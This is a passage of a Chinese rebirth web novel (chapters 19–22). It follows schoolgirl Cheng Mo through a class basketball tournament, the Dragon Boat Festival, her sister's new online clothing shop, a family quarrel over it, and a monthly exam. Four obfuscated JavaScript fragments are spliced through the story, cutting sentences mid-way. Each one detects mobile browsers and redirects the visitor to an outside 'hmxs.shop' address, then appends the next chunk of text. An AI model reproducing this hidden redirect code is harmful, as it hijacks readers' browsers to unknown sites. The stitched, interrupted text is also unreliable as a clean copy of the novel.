;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553403|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球吧。” “我当然没问题了，就怕你坚持不下去。”梁晴见她认真，便点头答应，又很快被球场上的动静吸引了目光，“要开始了！好紧张啊！” 程茉看向球场中心，两个班级的队伍都已经站好了。 水泥上印着不太清晰的场地线，体育老师站在中间，手上抱着篮球，嘴里还叼着一个不锈钢哨子。 程茉又看向两边的队伍，努力回忆了下，还是想不太起来重生前的阵容了，但依稀记得当时自己班的男生明显比三班矮一截来着，现在看倒还有两个挺高的，是孟宏宇和李颂。 竟然还有新变化了吗？总不能是自己重生的蝴蝶翅膀扇起来的吧。 带着这份疑惑，原本有些漫不经心的程茉也看得认真了起来。 人总是很容易被群体的氛围带动的，尤其身边站着的又都是和程茉关系很不错的女孩们，随着她们或激动的欢呼，或遗憾的顿足，程茉的心跳也跟着上下起伏不停。 “好，中场休息！”体育老师的哨声响了起来。 旁边的方慧慧忍不住失落地叹了口气：“唉！刚刚那个球进了就好了！就差一分就超过三班了！” “是啊！三班那几个男的可真难缠！”梁晴一脸愤懑地附和。 “还有半场呢，别着急。我看我们班男生今天状态挺不错的，后面不是一口气追了好几分吗？”程茉宽慰道。 “对噢！”梁晴拍了一下脑袋连忙跑开了，“我得去给他们几个打气去，下半场可得再努力点超过三班！” 或许是梁晴真的给他们打了什么鸡血吧，下半场一开始，七班的几个男生就跑得格外卖力。 “耶！进了进了，超过他们一分了！”第一个球进框后，梁琴立马激动着拽着程茉蹦了起来。 程茉有些无奈地稳住自己，脸上却也跟着露出了发自内心的笑。 后面的比分很是焦灼，但再没出现过像上半场刚开始那样一连落下6分的情况。最后一刻，孟宏宇站在三分线外投进了一个完美的球，也瞬间点燃了场外的欢呼。 “太帅了！”梁晴抱住程茉，激动地不行。 程茉轻轻拍了拍她，跟着说：“好啦，晋级了，再差也是第四名了。” “才不要，我们要继续冲击第一名！”梁晴松开她，伸出食指高高地举向天空。 “对，我们七班要做就做第一名！”旁边的几个男生跟着大声喊道，“七班最强！” 有听到的其他同学便接着喊起来：“七班最强！七班最强” 自然而然地，就变成了此起彼伏的集体口号。 走在其中的程茉，看着男孩女孩们脸上洋溢的骄傲与快乐，仿佛自己心底那压了许久的沉疴瞬间便化作了水雾，也随着这热腾腾的青春气息蒸发不见了，连脚步也变得轻快起来。 笑意从程茉的眼底一点点弥漫开，她拉住梁晴的手问：“下场比赛是什么时候？” “哦豁，有人比我还按捺不住了哦！”梁晴怪声怪气地调侃了一句才回答她的问题，“得等其他几组打完出结果，估计要下周了吧。” 于是，程茉满满的计划簿里便又多了一个小小的期待。 19. 第 19 章 在下一场篮球赛到来之前，程茉又陆陆续续收到了几家杂志社的回信，基本能有百分之六十的过稿率，这给程茉带来了极大的短篇写作热情。 “程茉，你又在写文章吗？可以帮我看看我这篇作文吗？总觉得有点不太对劲。” 耳边传来林然然温柔的声音，程茉抬起头，接过她手里的作文本：“好的，我看一下哦。” 程茉仔细读着方格纸里赏心悦目的文字，只觉得仿佛喝下了一杯气泡水一般清凉舒适。 林然然不仅字写得好看，文章也很有灵气。她的文笔更清丽，尤其适合散文，程茉默念着那些优美的句子，仿佛随着她的描述踏进了江南水乡的烟雨朦胧。 “写得真美啊。”读完最后一句，程茉由衷地赞叹道。 看到程茉眼里真诚的欣赏，林然然的语气立马变得欢快了几分：“你喜欢的话就太好了。就是我总觉得结尾那里有点怪怪的，改了几遍都不太满意。” “嗯……或许可以不用刻意升华主题呢？在最后消失的小船那里停下，感觉有点留白也挺不错。”林茉想了想试探着建议道。 林然然盯着本子上的文章思考了一会，忽然抬起头来开心地说：“啊，我知道了，我去改一下，等会再拿给你看！”而后她便坐下来开始涂涂写写。 程茉看着林然然专注的侧脸，忽然有些恍惚，眼前脸颊还略有些婴儿肥的小女孩，竟渐渐与前世程茉在林然然朋友圈刷到的一张照片重合在了一起。 照片里是已经将近而立之年的林然然，知性又优雅的她坐在斑驳的办公桌前，正在给身旁围绕着的一群小朋友认真批改作文。 “好啦，你快再看看。”林然然笑着将本子又递了过来。 程茉回神，又读了一遍，惊喜地抬头：“比我想得要更妙啊，最后这句话真有意境！” “没有啦，还得多亏了你给我的灵感。那个，程茉……”林然然的声音渐渐小了下去，有些不好意思地移开了视线，“你觉得我可以试试看去投稿吗？” 程茉愣了一瞬，又很快拉住她的手：“为什么不呢？我觉得你写得很好，也相信它是值得被更多人看到的。” “谢谢你程茉！”林然然回握住程茉的手，看着她澄澈的眼睛更觉惭愧，“对不起，我还小人之心怕你怪我……” 程茉摇了摇头，轻轻地抱了抱她：“怎么会呢，我还期待着我们以后可以一起写作一起交流经验呢。” 耳边继续传来林然然开心的分享，程茉笑着看着她，轻声附和着，心里却又默默念道：小人之心的是我，该说对不起的也是我，但没关系，这一次我们会是最纯粹的朋友。 在程茉和林然然忙着对文章修修改改，仔细挑选商议投稿杂志时，很快，七年级篮球半决赛的日子也到来了。 本场比赛对阵的是708班，也是黄仁任教数学的的另一个班级。但对于七班的同学而言，他们可算不上盟友，反而应该说是积怨已久。 毕竟他们可听腻了班主任那套诸如“同样都是我教的，这道题人家八班一大半的同学都对了，你们怎么才这么几个人写出来？”，或是“你们还是亲生的呢，怎么考试考出来还不如人家八班？” 两班队伍一上场，火药味就已经在观众群里蔓延开了。两个班的学生争相吼着“八班必胜！”“七班最强！”，势要压过对方的音量。 “怎么感觉这场打得比上次还要艰难啊！”梁晴用力抓着程茉的手，脖子努力地往前伸着，看起来恨不得自己跑到场上去把那颗球抢过来。 “确实有点，对面那个大个子太碍事了。”程茉也有些忧虑，但还是尽量宽慰了一句，“不过还好，感觉我们班今天也更有默契了，现在比分也没拉下不是吗？” 话音还未落，变故就发生了。 随着人群的惊呼和体育老师刺耳的吹哨声，刚刚还在奔跑争夺的球场瞬间便静了下来，程茉眨了眨眼，终于看清了情况。 有人摔倒了。 而身旁的梁晴已经甩开她的手冲到了场地中心，黄仁和八班的班主任也立即跑了过去。 程茉定睛看了眼其余站着的队员，确定了躺在地上的人，是自己班上的李颂。 “怎么回事？怎么突然摔倒了？”程茉身子向前倾着，努力想要看清情况，一边忍不住开口问道。 旁边的方慧慧接话：“不知道啊，刚刚他们好几个人挤在一起抢球，看都看不清楚，突然就有人摔了下去。” “是八班的那个大胖子！”陈晓萱愤愤不平的声音响起，“我看见他一直在撞孟宏宇想要把球抢走，然后李颂去拦他，就被撞飞了。八班这群小崽子，真是太过分了！” 听到这话，周围的人顿时也跟着咒骂起来，却碍于体育老师一直在喊“不要乱动，不要进入场地！”，只能用一双双带着怒火的眼睛直直盯着对面八班的同学。 过了一小会儿，梁晴和刘建扶着李颂走了过来，体育老师继续组织比赛的声音也紧接着响起：“七班替补队员做好准备，三分钟后继续比赛！” “没事吧？”程茉对着梁晴问道，又低头看向李颂左腿上的伤口，膝盖上一片血淋淋的，混着砂砾，有些触目惊心。 梁晴还没开口，李颂的声音先急急地响了起来：“没啥事的，就是看起来有点吓人，实际一点也不痛，其实都没必要换人的……” 刘建在一旁无语地翻了个白眼：“大哥，你可别逞能了，要是严重了的话，决赛你也别想上了。” “好了，赶紧去医务室先处理一下，已经给你妈打过电话了，我去给你开假条，今天晚自习不用上了，你回去先到镇上医院看一看。”黄仁跟了上来叮嘱道，终究还是不太放心，又看向程茉：“程茉，你和他们一起去趟医务室吧，有什么事搭把手。” “好。”程茉接过梁晴手里的矿泉水和毛巾，跟了上去。 医务室就在小卖部隔壁，房间要更小一些，里面只有一张一米宽的铁架子床， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564969|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两张木头课桌和几条板凳，其中一张桌子上放着一个小小的医药箱。 “这是摔了啊？”听到消息才从小卖部走出来的吴雄发一边打开药箱一边随口问了一句。 “刚刚打篮球被人撞倒摔的，吴老师你赶紧看看严不严重，下周能好吗？”梁晴急切地问道。 吴雄发并非专业医务人员，他的主职工作是男生宿舍宿管，白天的时候就来医务室这坐一坐，最多也就贴个创口贴，真有情况严重的，也都直接去医院了。 “啧，看起来有些厉害啊！这里倒是有些纱布，先洗一下伤口简单包扎一下吧，后续还是要去医院处理的啊。” 刘建便接过程茉手里的水，和吴老师一起帮忙冲洗伤口。李颂用力抓着凳子，却还是疼得有些呲牙咧嘴。 所谓的篮球场地只是一块使用多年的水泥地，地面满是磨损脱落的沙子石粒，加上比赛时都穿的短衣短裤，一摔倒就是直接接触，有一两颗稍大一些的小石子还嵌进了肉里。 程茉看得忍不住跟着皱眉，只好移开目光。然后她注意到药箱里纱布下面露出了红棕色药瓶的一角，便走过去拿了出来，果然瓶身上贴着碘伏的标签和使用说明。 “吴老师，是不是还要用碘伏消一下毒啊？”程茉将手里的小瓶子递到吴雄发面前。 “啊？”吴雄发接过药瓶，看了一眼又连忙说：“是的是的，刚刚都没找到，还以为用完了呢。” 听到程茉的声音，李颂连忙控制住自己的表情，一脸镇定地抬头。 上一秒还在担忧的梁晴刚好瞥到这一幕，忍不住噗嗤一下笑出了声，引来众人疑惑的目光后才急忙摆手：“没事没事，就是想到了我小时候摔了一跤疼得哇哇大哭的样子。” 吴雄发一边涂着碘伏，一边有些不太爽地说：“一点皮外伤而已，也就你们这些小孩娇贵。” 大家不再说话，后面的包扎完成得很是迅速，也有些潦草。 回教室的路上，梁晴忍不住吐槽：“李颂，我看你回去还是赶紧先去医院，感觉那个吴老师一点儿也不专业。”又转向左边的程茉，“是吧，小茉？” “嗯……还是要小心一点，感染了就不好了。” “好的，我会注意的，下周我肯定要上场的。”李颂小心地往左边看了一眼，却正好对上程茉望过来的视线，明亮的眼眸里是温柔的关切。 李颂感觉自己的心仿佛忽然被一团湿润的棉花包裹住了，连伤口那隐隐的疼痛也消失不见了，只剩下轻柔而潮湿的触感。 “李颂！你没事吧？” 刚走到教学楼，他们就碰上了从球场回来的大部队，前排几个眼尖的同学看见了他们，连忙高声问道。 “打完了吗这是？结果怎么样？”梁晴松开他，赶紧跑过去询问。 “别在这里站着，赶紧先回教室去！”黄仁站出来维持纪律。 而注意到大部分人脸上低落的神情的程茉，心里已有了不太好的预感。 20. 第 20 章 “李颂，你别上去了，跟我直接去校门口，你妈应该已经到了。”黄仁叫住李颂，又再次对其他人威胁道：“回教室就坐下来自习，班长把讲话的人名字记好啊，等我回来一个个罚！” 上楼的路上，方慧慧凑到了程茉旁边小声问：“还好吧？” “应该没有大碍。”程茉摇了摇头，“比赛输了吗？” “嗯。”方慧慧的语气里满是低落，又带上了些愤愤不平继续补充：“就差了两分！他们太阴险了，要是李颂没受伤说不定就是我们赢了。” 程茉轻拍了拍她的肩，不知该怎么出言安慰。毕竟程茉自己的心里也有一些失落，即便她明知这个结果比起前世已经好太多了。 回到教室，所有同学都难得的安静坐着，只是写作业的少，双眼无神发呆的多。 “干什么一副垂头丧气的样子？” 黄仁的声音从后门响起，也不知他什么时候回来的，不少人被惊了一下，大睁的眼睛跟着他的身影一步步移到讲台。 站定后，黄仁的目光在教室里逡巡一番，带着鼓舞的语气道：“比赛就是这样，有赢就有输！再说不是还有决赛吗，咱们努努力拿个季军也不错啊！” “但是本来有机会拿第一第二的啊，还是被八班抢走了……”角落里不知是谁小声地抱怨了一句。 黄仁眼光一转，脸上也带了一丝笑意：“那又怎么样？还有两年呢，多的是机会！你们要是真气不过，这周日返校的月考就该先超过他们！” “啊，一放完端午假就又要月考啊？”教室里顿时响起一片哀嚎。 “所以啊，回去三天别玩疯了，好好复习，能不能一雪前耻就看你们每一个人了啊！” 这下没人再说话了，不少同学都低下了头。 不管有没有把班主任的话听进去，比决赛会更先到来的月考，还是让大家暂时收起了那些因失败带来的愤怒与不平。 只是第二天在走廊上遇到八班的同学时，还是会有人忍不住翻个白眼重重地哼上一声就是了。 “程茉，明天端午节，你去不去镇上大桥看龙舟赛啊？”放假前最后一节课间，陈晓萱激动地跑过来拉住程茉。 记忆里关于划龙舟的热闹景象浮现出来，程茉忍不住露出了怀念的神色，只是想到昨天姐姐打来的电话，还是摇了摇头道：“我不确定啊，这周我姐姐要回来，到时可能有其他安排。” “好吧。”陈晓萱有些失落，又摇了摇程茉：“如果你来的的话，一定记得找我哈，我明天就站桥头，穿我那件红裙子，保准你一眼就看得见我，好不好好不好？” “好。”程茉笑着应允。 等程茉回到家，就看见母亲坐在客厅的一条小板凳上，面前放着一大盆糯米，里面零星掺杂着些黑色的豆子。脚边的另一个水盆里浸着一叠粽叶，面前饭桌的腿上挂着一把扇子形状的大蒲葵叶，已经一根根撕了开来，正好用来做系粽子的绳。 这久远而又熟悉的一幕让程茉有些恍惚。程茉记忆里，小时候的母亲一直很得意自己包粽子的手艺，每年端午节都会包上一大盆，自己吃不完的还会送去给二姨三姑家。 除了常见的三角粽，母亲还会包又长又尖的牛角粽，只是后者需要一定的技术和合适的宽大粽叶，往往一锅里也只有那么两三个。程茉每次都要给自己挑一个最长的牛角粽，仿佛长得好看的也格外好吃些。 “回来了啊？”苏萍抬头看了程茉一眼，手上的动作继续着，“今天晚一点吃饭，我先把粽子包了。” 程茉嗯了一声，放下东西，走出来搬了条小板凳坐在母亲旁边。 “怎么了？”苏萍疑惑地又看了她一眼。 “妈，你教我包粽子吧。”程茉轻声说道。 小的时候程茉也有一次曾缠着母亲教自己包粽子，结果就是笨手笨脚的她弄坏了好几张粽叶被母亲给狠狠骂了一顿。那时程茉抹着眼泪想：有什么了不起的，等自己长大了自然就会学会的。 只是后来，她和程莉都渐渐长大，不再爱吃粽子，离开家去了其他城市求学、工作，连母亲自己也不再包粽子了。 苏萍怀疑地看着程茉：“你行吗？还是别添乱了，赶紧写文章去吧，实在无聊你拿遥控器换你想看的台好了。” “我想试试嘛，你教教我吧。”程茉不肯走，语气里带着点撒娇。 “行行行，随便你，不过要是弄坏了粽叶不够用了，你自己下去再摘一把回来。”苏萍无奈，挪了下凳子，让程茉坐过来。 果然，重生并不会让人变得心灵手巧，程茉看着自己手里出现的又一个奇形怪状一碰就散的东西，叹了口气。 苏萍瞄了眼程茉手里的“粽子”，快速地藏起了嘴角的笑，又拿起一片粽叶示范道：“哎呀，你看看我的手，这里要折过去，另一个手捏紧……” 好在，经过连续三次的失败后，程茉终于包出了一个完整不散的粽子，丑是丑了点，但煮熟了都一样能吃。 “可以的，很不错了。”苏萍看了眼那个胖乎乎被五花大绑的粽子，憋住笑，肯定了一句。 “妈妈，可以吃饭了吗？”写完作业出来找吃的的程莉看见了这一幕，连忙哇哇大叫起来：“这个粽子好丑啊，不会是二姐你包的吧，明天你必须自己吃掉啊。” 程茉哼了一声：“你想吃还吃不到呢，我可是在里面放了好东西哦。” “什么呀？是糖吗？”程莉立马蹲到了姐姐旁边，仰头扑棱着大眼睛：“二姐，我刚刚说错了，这个粽子一看就好吃！” 程茉忍住笑故意转过头去不理程莉，又引来她的一阵歪缠。 苏萍带着笑听着两姐妹打闹，动作迅速地将程茉手里最后一个粽子接过来扎好，轻轻将它扔进了盆里。翠绿的小三角骨碌碌地滚到了中间，混在一群饱满的大三角和长三角中，仿佛一个粽子宝宝。 第二天上午，就在粽子出锅的清香中，程兰准时到家了。 “我刚刚从桥上下来，看到好几条龙舟在训练，可热闹了。”程兰放下东西，高兴地说，“等会吃过午饭我们一起去看比赛吧。” “好啊好啊！”程莉高兴地蹦跳鼓掌。 “咚咚——”客厅的铁门被敲响，打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574878|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了姐妹三个的谈话，“我进来啦？” 程茉看见一颗熟悉的红色爆炸头探了进来，是表哥王浩伟。 “哎呀，我来得可真巧，我妈说小兰你今天回来，这是刚到家啊。”王浩伟端着一小盆粽子笑嘻嘻地走了进来，“给，这是我妈包的肉粽，你们尝尝看。” 程兰站出来笑着接过粽子，将盆空出来还给王浩伟：“帮我谢过姨妈。浩伟哥你店里最近怎么样啊？” “还行还行。”王浩伟接过盆，挠了挠头，“你们刚刚是说下午要去看龙舟赛吧？我带你们去吧？” “哈哈，不用麻烦了，我们人太多了估计坐不下。”程兰摆了摆手拒绝了，又拿出一袋衣服递给他，“这是我在省城给小妮妮买的裙子，你帮我带给芳芳姐吧。” 王浩伟也没推辞，接了袋子道了谢又风风火火地离开了。 等他离开，程兰又去包里翻了两袋衣服出来，递给程茉程莉：“这是你们两个的。” “怎么又给我们买衣服了，上次的还没来得及穿几次呢。”程茉有些疑惑。 “晚上告诉你们。”程兰眨了眨眼，卖了个关子。 程茉心里却隐隐有些猜测，连带着对下午的龙舟赛的期待都减弱了几分，只一心盼着晚上快点到来。 不过，等程茉和姐姐妹妹爬上江水镇大桥，看到两边栏杆前挤满的人群，就立刻被这热闹的氛围给淹没了。 到底还记着陈晓萱的嘱托，程茉伸长脖子往桥两头张望了下，却没看到红色的影子，只得跟着姐姐见缝扎针地找了个空位钻了进去。 往下望去，波涛粼粼的水面上已经有好几条五颜六色的龙舟列着队了，两旁还有几艘给各个队伍应援的装饰着彩旗横幅的铁船。 “二姐你看！那是不是我们村的船？”程莉兴奋地指着河面喊道。 程茉抓着程莉的后衣领，朝她指的方向看过去，确实是记忆里那条熟悉的橙色龙舟，前方的彩船上挂着的横幅上也依稀能看到江口村几个字。 咚咚咚的鼓声响起，比赛要开始了，周围刚刚还喧闹无比的人声也瞬间小了下去。 随着一声响亮的发令枪声，几条龙舟顿时飞速地往桥洞这边冲来，就如一条条五彩蛟龙在水面灵活地游动。 程茉的耳边又响起了此起彼伏的加油声与呐喊，心也跟着砰砰跳得飞快，目光追随着那抹鲜艳的橙色。 很快，几条龙舟就陆续穿过了桥洞，大家便又立刻争相往桥对面跑去，好在今天这个时间点桥上是不让车通行的。 程茉拉着程莉和程兰的手，随着人群一起奔跑，仿佛自己真变成了一个心系龙舟比赛的小孩。 最终，第一个通过终点线的是隔壁村那条蓝色的龙舟，而程茉所在的江口村赢得了第二名。 比赛结束了，剩下的庆祝和颁奖就与程茉她们无关了。正跟着人群一起意犹未尽地往回走着，程茉忽然听到了有人在大声地喊她： “嘿，程茉，你果然来了啊！我找你找了半天！” 程茉转头望去，看见了穿着红裙的陈晓萱，以及她身边站着的徐逸和赵勇。 21. 第 21 章 “茉茉你刚刚看到了吗？第一名是我们村的耶！”陈晓萱跑过来拉住程茉的手，上扬的语气里带着点小小的得意。 “小茉，这是你同学吗？你们要再玩一会儿不？”程兰在一边笑着看着他们。 “你们村真厉害。”程茉先祝贺了一句陈晓萱，而后跟姐姐简单介绍了一下几人。 陈晓萱一向是很自来熟的，大大方方地和程兰打了招呼，还不忘夸一句程莉可爱。徐逸和赵勇则有些局促，只是小声地喊了句“姐姐好。” “茉茉，你要回家了吗？好不容易碰上，要不和我们一起去精品店逛一下吧？”刚刚遇上就要分开，陈晓萱有些不舍地邀请道。 程茉还惦记着姐姐上午说的话，再看向旁边有些不自在的两个男生，就更不想留下来了。她摇了摇头推脱家里有事，表示下次再约。 “好吧，我刚刚碰到小勇子他们两个还说，要是你也在就好了，大家难得一起出来玩。”陈晓萱失望地说道。 听到她们的对话，徐逸微微张了张嘴，最终还是什么也没说，一旁的赵勇则已经侧着头聚精会神地观察起江面上渐渐靠岸的船只来。 程茉又安慰了陈晓萱几句，才和他们三个告别。 “总觉得程茉有点不一样了呢。”望着程茉远去的背影，徐逸轻声说了句。 “废话，我们程茉现在可是学霸了，尔等凡人望尘莫及了吧。”陈晓萱摆了摆手，“好了，本小姐也要回家了，你们两个退下吧。” 而这边程茉姐妹几个已经回到家里，程莉依然沉浸在龙舟赛的兴奋中，拿出彩笔在草稿纸上念念有词地涂涂画画。 程茉路过瞄了一眼，只能看到纸上几条五颜六色的波浪线，很是抽象。 “要吃粽子不？”程兰拿了一个碗出来，往里面倒了些白砂糖，又扒开一个粽子，拿了根筷子串着放到里面裹了一圈。 程茉不爱吃甜口的粽子，就从表哥送来的肉粽里挑了一个，坐在程兰对面慢慢剥着。 “姐，你先跟我透露一下你上午说的事呗？”程茉咬了一口加了碱水的金黄色糯米，终究还是按捺不住心底的好奇问道。 程兰放下手里的筷子，看着程茉的眼里带着认真：“嗯，不过我要先谢谢你，谢谢你之前跟我说的开网店的想法，也谢谢你给我寄的钱。” “这没啥，那点钱也不够干什么的……”面对程兰如此郑重的道谢，程茉也不禁停下了手里的动作。 “不，对我来说很重要。”程兰摇了摇头，笑着继续说道，“虽然五百块对于开店来说不算什么，但它代表了你对我的支持。小茉，是你让我知道，我是有后盾的，所以我才敢去赌这一把。” 意识到程兰话里的信息，程茉睁大了眼，问题接连抛出：“所以，姐姐你是把网店开起来了吗？开在哪个网站？生意怎么样？” 程兰便叫上程茉去房间里打开了电脑，把网店的界面找出来给她看：“前两天才刚刚找人帮忙做好店铺首页，我已经去批发市场选好了几个品，也拍了图，等节后回去就做链接准备上架。” 看到那个熟悉的橙色购物网站界面，程茉先松了一口气，又仔细看了看店铺名字“蓝茉莉女装”和清新淡雅的店铺界面，对于程兰的行动力和审美就更是佩服了。 “真漂亮！”程茉忍不住赞叹，又对唯一还担心的前期资金问了一句：“钱还够用吗？” “小小年纪还挺会操心。”程兰笑着轻拍了下她，耐心解释道，“放心吧，我也是做了不少功课才下定决心的。我咨询过对这方面有研究的老师和学姐，也申请了大学生创业项目。目前是还没有花什么钱，后期进货、营销等费用，学校基金和我的存款应该也能覆盖的。” “嗯，反正姐你后面需要钱也一定要跟我说，我那本小说这个月应该就能完结了，到时就能提取稿费了。”程茉又去枕头下翻出自己的小熊钱包，将里面那几张红色钞票拿出来递给程兰，“这些都是短篇投稿和学校之前奖的钱，反正现在我也基本用不到，你先拿去用好了。” 程兰看了眼钱包里剩下的那可怜的几十块钱，仰头眨了眨眼睛，把她的手推了回去：“不是说了吗，现在还用不到钱。你放心，后面真不够用了姐不会和你客气的。” 见程兰执意不肯收，程茉只得暂时把钱先放回去。两个人又接着讨论起后面产品上架的相关事项来。 聊着聊着，程兰注意到了旁边刚画完画又开始穿着新衣服在床上走模特步臭美的程莉，忍俊不禁地说了一句：“说起来我本来还想做童装的，想着还能让你们两个帮忙当个模特，可惜调查了下发现市场还是不如女装好。” 程茉点头赞同：“目前网店确实还是女装受众更多。” “你懂得还挺多嘛？越来越像个小大人了，说话老气横秋的。”程兰看着个头已经窜到自己眼睛的妹妹，有些欣慰又有些感伤。 程茉惊了一下，故意鼓起脸颊不服气地说：“我本来就不是小孩子了。” “是啊，时间过得真快，我还记得小时候我抱着你去上学，你小小一个蹲在我座位旁边的样子。”程兰脸上带出一丝怀念的神色。 程茉低头不语，她没多少这些还不懂事时的记忆，此时脑海里浮现的，是前世最后一段时光，姐姐坐在她床前，强颜欢笑跟她说这些小时候的趣事时的样子。 外面响起了开门的声音，程茉立马起身，出去一看，是苏萍和程林生回来了。 程茉看了眼时钟，才四点半，估计是因为过节，提前下工了。 晚饭是苏萍和程兰一起做的，程茉就继续回房间去为下周的月考复习了。做完最后一张数学试卷，程茉一页页翻着写得密密麻麻的薄而脆的纸张，满足地叹了口气，一边在笔记本上记下“明天买新试卷”的提醒。 晚饭后，程兰和父母简单说了一下她打算开个网店的计划。意料之中的，遭到了两个人的反对。 自从程兰上大学以后就没再对她说过什么重话的程林生一听到开店就炸了：“你瞎折腾什么劲？踏踏实实地读完书出来找个体面的工作不行吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583791|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？到时欠一屁股债谁来还？” 苏萍也很不赞同：“小兰啊，这事还是再好好想想吧，开店哪有那么容易的？那什么网店更是不靠谱，我听都没听说过……” “爸妈，我是认真考虑过也做过调查的，学校也是支持我们创业的，再说开网店和实体店不一样，也不用多少本钱，就算失败了也不会赔多少的。”程兰耐心地解释着。 “我不懂这些，我只知道做生意都是有风险的，我们家没那个条件去承担这个风险。”苏萍继续苦口婆心地劝说，“小兰，现在这样就挺好的，你还有两年就毕业了，等你出来工作我们家就会好起来的。” 程林生哼了一声：“我看她就是心比天高命比纸薄，当初填志愿的时候也是，叫她填那个定向师范非不听，人家出来了工作都不用找，政府直接给你安排好去当老师，又轻松又稳定。现在学的这专业以后能不能找到工作都不一定呢。” “心比天高命比纸薄”这样的论断，程茉从前听了无数次，针对程兰的，针对她的，针对程莉的，如出一辙。最后连程茉自己也忍不住怀疑，是不是她过得不好就源于那些天真的自视甚高。 然而真正自视甚高的人是谁呢？程茉低头，嘴角勾起一抹嘲讽的笑。 程兰深吸了口气，再次开口时声音里已带了些强被压制的颤抖：“就让我试试看行吗？有什么后果我自己承担。” 程茉看到了程兰身侧用力握紧的拳头，指甲深深地陷入了掌心。她伸出手握住姐姐的手，一字一句地说：“姐，我会跟你一起承担的。” 争吵开始后就缩在一边的程莉悄无声息地挪到了程兰身侧，默默抱紧了她的大腿。 程林生和苏萍都愣住了，好一会儿，屋里才响起程林生的冷笑：“好啊，翅膀都硬了是吧。我是管不了你们了，等赔光了别回来哭，老子把你们辛辛苦苦养大真是……” 剩余的狠话在喉咙里滚了许久，却不知为何终究没能再说出口。程林生踢开脚边的凳子，摔门出去了。 只留下苏萍，叹了口气颓然地坐了下来。 “妈，对不起。”程兰将眼泪憋回，轻声道，“但是我真的想努力一下试试看……” “唉，是我们做父母的没用，帮不了你。”苏萍双眼无神地望着前方，好半晌又低声道，“别恨你爸，他也不容易……” 天黑了下来，也没人去开灯，一室死寂中，不知是谁吸鼻子的声音响起，格外地清晰。 程兰返程的那天下午，程林生不知赶着鸭子去哪了，始终没有出现，是程茉和程莉帮着拎了行李送到了镇上。 “好了，你们赶紧回去吧，路上注意安全，家里有什么事打电话跟我说。”程兰摸了摸两个妹妹的头，转身上了车。 车子开动，两个小女孩的身影越来越小，程兰感觉自己眼睛又有些湿润了，伸手从口袋里掏纸，却摸到了一卷钞票，拿出来一看，正是前天程茉递给她的那些。 程兰猛地回头往窗外看去，却只看到路边一片模糊飞逝而过的田野。 22. 第 22 章 一返校就要面对月考，程茉早上踏进教室就感觉到了同学们的滔天怨气。 在大家有气无力的读书声中，程茉翻开语文课本，将可能会考的古诗、课文又仔仔细细地复习了一遍。 两天考试考完，程茉自我感觉挺不错，这次题目相对期中要稍微简单一些，但比第一次月考还是要难的。数学最后一题也算出来了，程茉一门门估着分，心想这次应该不会有什么大问题了。 但程茉还是与年级第一失之交臂了，而且就只差一分。 虽然这次依然稳住了全班第一全校第二的位置，程茉心里还是有些失落，她甚至忍不住去找班主任看了眼全校第一的成绩。 704班的邓云英，一个数学基本每次都能拿满分的理科天才。 “就是她，很不像是吧？”课间操一结束，周若玥就指着主席台上领操的女孩对程茉介绍，“看起来个子小小可可爱爱的，其实超级自律又认真。你不知道，她从小学起就一直稳居全校第一了，还拿过镇里小升初奥数比赛的一等奖。” “真厉害。”程茉由衷地感叹，又在心里默默给自己的学习计划加了码。第二本小说的存稿可以先慢点攒，等暑假再开好了。 在真正又有天赋又勤奋的人面前，哪怕只有一点松懈也是致命的。 “我小学跟她一个班的，你不知道我们当时被虐得简直怀疑人生。”看到程茉一脸严肃，周若玥忍不住宽慰道，“不过她语文英语都没你好，你还是很有希望的。” “那还是数学拿满分比较难。”想到这次难得全对的大题，和算错了一个步骤导致结果相差千里的最后一道选择题，程茉还是止不住地懊恼。 “你们学霸果然都一样，对自己要求真高啊。”周若玥啧啧感叹。 程茉无奈地笑了笑，又把话题转向她：“你也是啊，每次都进步这么大，年级前五指日可待了啊。” “咳，这次是班长大人发挥失常，下次就没这么好运了。”周若玥谦虚道，“说起来徐逸这次也没考好，不然班级前三肯定没我的位置的。” 